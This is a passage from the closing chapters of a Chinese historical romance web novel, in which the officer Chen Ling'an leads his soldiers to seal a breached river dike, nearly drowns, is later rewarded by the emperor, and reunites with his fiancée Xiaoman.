吴勇请陈令安他们再住两天,“这雨还得下,前头又是河又是山的,走山垮山就麻烦了,还不如等天放晴了再走。” 离军令限期还有一段时日,都是从战场上活下来的兄弟,陈令安不愿他们再遇到危险。 结果雨停了还不到一日,又是一场滂沱暴雨。 下下停停,接连十四天无一日晴好,老天爷似是要把一冬一春一夏的雨雪,全在集中这几天下完。 卫所地处高地,东西南北,四面用石砖筑起高墙大寨,除了少数低洼地有积水,几处低矮简陋的住所有漏雨,别的倒没受什么影响。 蔬果鲜肉之类的一时送不上来也不要紧,营地有存粮,再坚持十天半月不成问题。 是以,从指挥使到大头兵,没人在意这下也下不完的雨。 唯有陈令安,注意到几乎要漫过堤坝的河水。 第74章 大雨不停, 操练暂停,吴勇提着酒壶又找陈令安喝酒来了。 却是不在。 “他去哪儿了?” “一早就出了营地,说是去看看河堤。”薛超自己都觉得不可思议, 河防归地方官儿管,和他们没半点关系,看河堤干嘛? 吴勇眨巴眨巴眼, 他在陈令安手下办差多年, 对这位上司的脾气秉性说不上了如指掌,但也摸得八/九不离十。 他心里隐隐有个猜想。 后晌,陈令安回来了。 穿了油衣也不顶用,浑身都湿透了,冷得嘴唇都有些发抖了, 头发滴滴答答往下淌水, 靴子、小腿上全是泥。 吴勇从没见过他狼狈成这个样子, 急忙端过早就煮好的姜汤, 又让人准备水和干净的衣服。 一碗热乎乎的姜汤下肚,陈令安苍白的脸才算有了点血色。 “情况不太好, 河水很急, 快漫过堤坝了,洪水往往在暴雨之后……”陈令安拍拍吴勇的肩膀, “做好准备吧。” 看着外面麻帘一样密密匝匝的雨幕,吴勇双手合十,望天祈祷:老天爷, 求你啦,别下啦! 可惜老天爷大部分时间是眼瞎耳聋的。 陈令安决定带三千营的将士们前往潮白河,薛超他们虽不理解,但出于对他的信任, 和服从指令的本能,还是迅速集结出发。 吴勇也要带着自己的手下去。 密云卫的指挥使不同意,“无令调用卫所驻军,你有几个脑袋够砍?陈令安作死,你别跟着犯糊涂!你这么看我干什么?我又不是没血没肉的人,让密云县令请示知府,知府再和都指挥使司指挥商议,我们接到命令再去不迟啊。” 理是这么个理,也是决计不会出错的法子,可…… “等命令下来,黄花菜都凉了!”吴勇不听。 指挥使恼了,“要去你自己去,本官不能拿兄弟们的命陪你们胡闹!” 吴勇冷哼一声,头也不回地追着自己的大人走了。 一行人冒雨赶到潮白河。 天黑沉沉的,这时雨势终于减弱了,老远就听到河水奔流的咆哮声,无数火把在河堤上闪烁不定。 许多差役、老百姓,抗着沙包抬着麻袋,艰难地在泥泞中奔向决口处。 最激烈的湍流前,几只火把映照出刘瑾书紧张疲惫到极点的脸。 他讶然看着这群不速之客,尤其是看到陈令安时,脸上的表情瞬间变得复杂无比。 “你怎么在这里?” 陈令安根本顾不上理会他的疑问,只去看决口。 决口有一丈多宽,轰鸣的河水疯狂往决口冲挤,相互撞击地奔向他们的身后。 那里是大片大片的农田,村落、镇子、县城…… 陈令安看着从战场上厮杀过来的兄弟们,一挥手,没有过多的言语。 他们的体力比衙役乡民们强得多,不一会儿,决口两旁就堆起了高高的沙包。 一声令下,高墙似的沙包堆立时倾入决口。 紧接着,是第二道沙包。 激流的速度似乎慢了。 所有人都不由自主松口气。 轰隆,决口又塌了一块,刚刚缓下来的水流重新变得狂暴,嘶吼着扑向万亩良田。 数不清的沙包投下去,却转瞬消失在汹涌的激流中。 堵不住了! 人们的脸上露出绝望,有的青壮村民忍不住蹲在地上大哭,刘瑾书挺拔的脊梁塌下来,整个人和这河堤一样快要崩溃,摇摇欲坠。 “结成人墙,手挽手跳下去!”陈令安大吼一声,“三千营听令,第一队,跳!” “是!”没有一个士兵犹豫,齐声跳了下去。 黑沉沉的湍流中,那一排人起起沉沉。 陈令安冲刘瑾书喝道:“沙包!” 刘瑾书如梦初醒,“推!” 没用,河水没有丝毫减速的迹象。 “第二队,跳!”陈令安和身旁的士兵一起跳下。 一个大浪打来,水里的人一声不吭,都不见了踪影。 “陈令安!”刘瑾书大叫。 回答他的只有轰轰的浪涛声。 刘瑾书的心沉下去,却听吴勇带着哭腔在喊:“大人!” “沙包!”陈令安奋力挣出水面,他们被激流冲击着,可依旧手挽着手,不肯后退一步。 刘瑾书疯了似的嘶吼:“快推!” 又一道沙墙推入决口。 不知道是不是他们的错觉,水流轰鸣的声音弱了。 “第三队!”吴勇率先跳下。 沙包,雨点般投入湍流,堤坝上的老百姓们谁也没有说话,只低着头,扛起沙包,拼命地来回奔跑,如同一只只不知疲倦的蚂蚁。 浪涛冲击着战士们的身体,他们在水中忽隐忽现。 渐明的晨光中,决口一点点变小,变小…… “堵上啦!”有人大喊,喜极而泣。 刘瑾书大喊:“收紧绳索,快把他们拉上来!” 立刻有十来个差役喊着号子把河里的士兵往上拽。 薛超等人一个个清点三千营的士兵,大声喊着他们的名字,有的能听见“到”,有的却久久得不到回应。 薛超抹一把眼泪,开始点第二队:“陈令安!” 没人应声。 他愣了下,又喊:“陈令安!” 还是没人应声。 躺在旁边呼哧呼哧喘气的吴勇慌了,一骨碌爬起来,“大人,大人!” 刘瑾书一指河道,“是不是他?” 河面上浮起个人头,转瞬又被水浪吞没,他挣扎着再次浮起,想要游向岸边,却被汹涌的湍流冲得更远。 吴勇没有任何犹豫,飞身跳入河中。 天亮了,彻底放晴了,咆哮暴躁的河水也渐渐变得平和。 几乎与堤坝齐平的水面上,空无一人。 夜晚再次悄无声息降临。 碎石滩地,吴勇拽着陈令安往岸上爬,精疲力尽。 更让他崩溃的是上司的状态,浑身冰冷,双目紧闭,出气多进气少,瞧着竟是有点不成的迹象。 急得这猛汉哇哇直哭,使劲摇晃陈令安,“大人你别死呀,你死了我咋办,我现在一点退路都没了,回去非教那狗屁倒灶的指挥使折腾死,我还指望着你带着我回京城呢。” “吵死了……”陈令安的眼睛艰难地睁开。 “大人!”吴勇惊喜非常,抽抽搭搭说,“我是大人你的救命恩人,一点没犹豫就跳河了,你不能让我白忙活一场。” “你……”陈令安刚想说话,就觉胸口一阵剧痛,想是肋骨断了几根。 他想查看下自己的伤势,可浑身疼得厉害,手上一点力气没有,连呼吸都变得异常艰难。 巨大而连续的冲撞下,也不知到底受了多少伤。 吴勇很快察觉到他的痛苦,不由从喜转悲,这次却不敢表现出来,更不敢拖着他继续前行。 “坚持住大人,薛超他们知道咱们在下游,很快就会找过来。” 陈令安缓了好一会儿,才断断续续说:“我不想死,不甘心,好不容易走到今天,死了……我不甘心。” 吴勇连连点头,“对对,大人你要活着!你跟我说说话,可千万别睡着。” 说什么呢? “我喜欢小满,她也喜欢我。” 吴勇一呆,“啊对对,我早说你们是天造地设的一对儿,等回去就把你们喜事办了。” “我死了,她会很难过,很伤心,会生不如死好长一阵子。” “对呀,小满姑娘重情重义,搞不好会殉情的,所以你千万不能死。” “不,她和我娘不一样,我死了,她会嫁给别人,一样能过上好日子,不会浪费生命。刘瑾书绝对会趁虚而入,就算不是他,也还有别的男人。” 这下吴勇不知道说什么好了。 “时间长了,日复一日,心中的痛楚会逐渐痊愈,再刻骨铭心的爱也会被日常琐事淹没,慢慢消淡。等她头发白了,腰也弯了,含饴弄孙的时候,再想起我,或许只有心中的隐隐一痛,唇角的淡淡一笑罢了。” 陈令安觉得自己脑子有点糊涂了,不然他怎么开始胡说八道了呢?还开始流眼泪,简直丢死人了。 他的一生很短,她的一生很长,两人生命交汇不过一两年,心意相通也不过半年,这在她的生命长河中,只能算作一个小贝壳。 漂亮的、会发光的小贝壳,却脆弱得一捏就碎。 她再如何小心翼翼地保护,也终将被岁月的浪沙一点点侵袭掉,逐渐失去光泽,布满大小不一的洞。 等到她过世的时候,还会记得自己吗? 自己去迎接她的时候,她会跟自己走,还是选择和她的丈夫在一起? 只要略想一想,心就像有把钝刀子,一下,一下,来回挫着,剐着,心里的血也一滴滴流着。 冷,好冷,似乎又回到母亲自尽的那天夜晚,他孤独地走在黑洞洞的陈家巷子里,寒风刺骨,浑身冷得像冻在冰窟窿里。 不甘心,真的不甘心。 以前都是她追着自己跑,等着自己回来,哪怕自己不理她,她也是笑嘻嘻地说:就算你不理我也没关系,我理你就好了。 她还说,只要一想到你,心情就会变得很美好。 他都没来得及好好回应她这份心意,他都没有好好待她! 不行,不能就这么死掉。 陈令安! 陈令安! 是小满?小满在喊他! 声音越来越大,嘶哑,焦急,充满热络的期盼。 陈令安深吸口气,努力睁开眼睛,映入眼帘的是刘瑾书的脸,还有吴勇那颗哭得鼻子冒泡的大脑袋。 他重新闭上眼睛。 艹……魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第75章【全文完】 第75章 很快, 陈令安率部前往潮白河固堤堵决口的消息就传到了金陵城。 一听他们拿自己的身体去对抗洪水,老百姓心里那个热辣劲,嘿, 甭提多感动了! 都说江南富庶,是鱼米之乡,可江南也没少遭灾, 梅雨季节内涝, 沿海的台风,还有河道淤堵洪灾,哪一桩不让老百姓犯愁?哪个地方没有因水患流离失所的人? 别看一南一北,因为相似的境遇,这边的老百姓对那边的老百姓有着一种天然而朴素的同情心理。 由此, 坊间对三千营的官兵不乏赞誉之声, 陈令安的风评也出现逆转。 毕竟“奸贼”一没卖国, 二没贪墨, 也没干过欺男霸女的事,更没逮着平头百姓往死里欺负。 他更多的是针对朝中大员, 说具体点就是他二叔陈绍及其追随者, 甚至时不时还能拔出个贪官污吏什么的。 钦佩称赞陈令安的百姓越来越多。 但在朝堂上,风向就和民间不大一样了。 不止一个言官弹劾陈令安, 他无职无权,擅自调用三千营骑兵,是为“谋反大逆”, 罪该万死。虽事出有因,却不能据此为脱罪的理由。 一句话,死罪可免,活罪难逃。 还有人置疑陈令安的动机不纯——三千营是朝廷养来打仗杀敌的兵, 不是陈令安沽名钓誉的工具,就这样平白死在洪水中,太浪费、太不值了! 燕地武将大为忿忿,上书替陈令安说情,又给他请功,文臣中也有诸如郑峳采等为陈令安抱不平的。 但大多数的朝臣,包括首辅刘方,还是作壁上观,既不支持惩戒,也不主张嘉奖。 弘德帝便冷眼瞧着各方反应,不做任何表态。 直到当地老百姓送给三千营的万民伞出现在朝堂上。 随万民伞一同到京的还有密云知县刘瑾书的奏章,没有任何美化,也没有一点的偏颇,他用极为冷静客观的笔调述说了堤坝瞬时溃决的情形。 “……若无法遏制,微臣唯有一死谢罪,三千营将士挽狂澜于既倒,救生灵于涂炭,是微臣之恩人,百姓之恩人!有此将士,实乃万民之幸,皇上之幸,天下之幸也!” 一句没提陈令安,可字里行间都在替陈令安鸣冤。 这下有意思了,因反对禁毁书院,刘瑾书俨然已成为清流的中坚力量,连他都承认陈令安的功劳,甚至以“恩人”相称,那么…… 弘德帝饶有兴趣看着大殿里形色各异的大臣们,“诸位爱卿以为如何?” 殿外熏风掠过,檐铃丁当作响,殿内一片静寂。 只有万民伞下数不清的、绣着百姓姓名的丝带,带着他们由衷的感激,在风中潇洒飞扬- 八月的金陵还有丝丝暑气,北平的寒意已很重了。 今日天光正好,陈令安膝上搭着条薄毯子,闭目躺在临床的软榻上晒太阳,手里拿着金陵来的旨意。 小满断药进门,见状打趣道:“别人接旨后,都是恭恭敬敬供奉起来,你倒好,翻来覆去看多少遍了。三千营指挥使正三品,比你原来的指挥同知高一等,却不如锦衣卫威风,还这么稀罕!” 陈令安把圣旨放在旁边的矮桌上,“皇上打算扩充三千营,还要组建神机营,我在想报多少饷银合适。” 小满瞪他,“还没怎么着呢,就琢磨着怎么发财啦?” 陈令安叹气,“谁让我娶了个败家媳妇,把我的棺材本儿都散光了。” 三千营在密云县固堤救灾,没了几十个,伤了几十个,朝廷给的抚恤银子实在算不上多。小满自作主张,把他留下的银子几乎全分给三千营的兄弟。 小满脸一红,不甘示弱道:“不是还剩下几万两?足够咱们用了!银子没了可以再挣,你什么时候变得这样小气。” 陈令安无奈一笑,“好好,天大地大,老婆的话最大。” “呸,谁是你老婆,人家还没嫁给你呢。”小满把药碗往他手里一塞,“快喝药,我可不想嫁个虚弱不堪的病秧子。” 陈令安笑笑,接过药碗喝了。 小满刚要接过药碗,不妨陈令安抓住她的手,猛地一拽。 猝不及防间,她被他压住。 “虚弱不堪的病秧子?”陈令安声音显得低沉沙哑,蕴着一股说不清的压迫感。 小满的心砰砰跳,下意识推他。 他反而贴得更近了。 呼吸交错着呼吸,肌肤传递着对方的温度。 扑通,扑通,感受着对方的心跳。 微苦的药香从唇边传来,一点一点,从舌尖漫延到整个口腔。 僵硬如木雕的身体慢慢变得柔软,微凉的肌肤很快被他炽得发热,烫得像个火炉。 一种难以言传的滋味在小满心中荡漾着,身体在膨胀,又似乎空出来好大一块,空荡荡的,让她觉得好难受。 陈令安松了手。 小满蜷缩着身体,窝在他怀里微微喘气,斜睨他一眼,眼波流转,似嗔似喜。 陈令安勉强抑制下去的念头忽一下又燃起来了。 不过他再荒唐,也知道这时候绝对不可以。 风动树摇,浓郁扑鼻的桂花香透窗浸入屋子。 “小满,你看,桂花开了。” 小满想笑,她天天进来出去的,眼又不瞎,还能看不见桂花开了? 笑声还没出口,突然想到什么,她急忙咬住声音,轻轻拥抱了下自己最爱的人。 庭院中的桂花开得正盛,金灿灿的小花朵一层层一簇簇缀满枝头。一阵风拂过,花瓣如细雨般轻轻洒落,温柔地铺满院子中间的青砖路。 “金玉满堂……” 小满从床头箱子里拿出一个小锦盒,轻轻打开,暗红色的绒布上,静静躺着一片早已枯萎发黄的花瓣。 陈令安有点惊讶,“是我给你的那片玉兰花瓣?” 小满点点头,“我没舍得埋在书院里。” 南翠书院拆得干干净净,根本找不到半点以前的痕迹,这片花瓣,算是书院存在过的证明吧。 陈令安拈起那片花瓣,打开窗,手伸出去,轻轻一捻。 “哎呀!”小满禁不住叫了声。 “过去的,就让他过去吧。”陈令安轻声道,“我困在过去太久,是时候和过去彻底道别了。” 他张开手,细碎的花屑宛若尘土一样,被风卷起,又随风消散,再也看不到。 小满痴痴地看着窗外,不知不觉间,竟是满脸泪痕了。 陈令安抹去她脸上的泪珠,“二十岁之前,我想报完仇死掉就好了,二十岁之后,我想好好活着。” 他紧紧拥着她,“被水冲走那刻,我怕极了,前所未有的恐惧,我从来没有这样惧怕过死亡。” 小满眼泪流得更凶,“谁能不害怕死亡呢,可你终究挺过来了,大难不死,必有后福,往后,你必定事事顺遂,再无烦忧!” 陈令安喃喃:“往后,我完完全全只属于你一个人,只为你一个人笑,只为你一个人哭。” 小满破涕为笑,“哭?快拉倒吧,你还会流眼泪?除非太阳打西边出来。” 陈令安略有点尴尬地摸了摸鼻子。 院外,传来蒋夫人的声音。 “娘回来了。”小满下了地,“听这畅快的笑声,准有好事。” “小满!”蒋夫人高声招呼着,“快来看看我给你准备的嫁妆!” 大大小小的箱子摆满了庭院、厢房、游廊,蒋夫人拉着小满,兴致勃勃一样一样地看,一样一样地说。锦绣和方妈妈比画着家具怎么摆,东西怎么放…… 陈令安站在廊下看着她们,笑意从嘴角漾到眼底。 “盐津梅子!”小满一蹦一跳走来,把梅子举到他嘴边,“张嘴。” 陈令安没有如以前那样皱着眉头说“我不爱吃”。 他听话地张开嘴,含住小青梅。 恰到好处的咸鲜,刺激到心底最深处的酸,延绵不绝的甜,已彻底融入他的灵魂,永生难忘。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m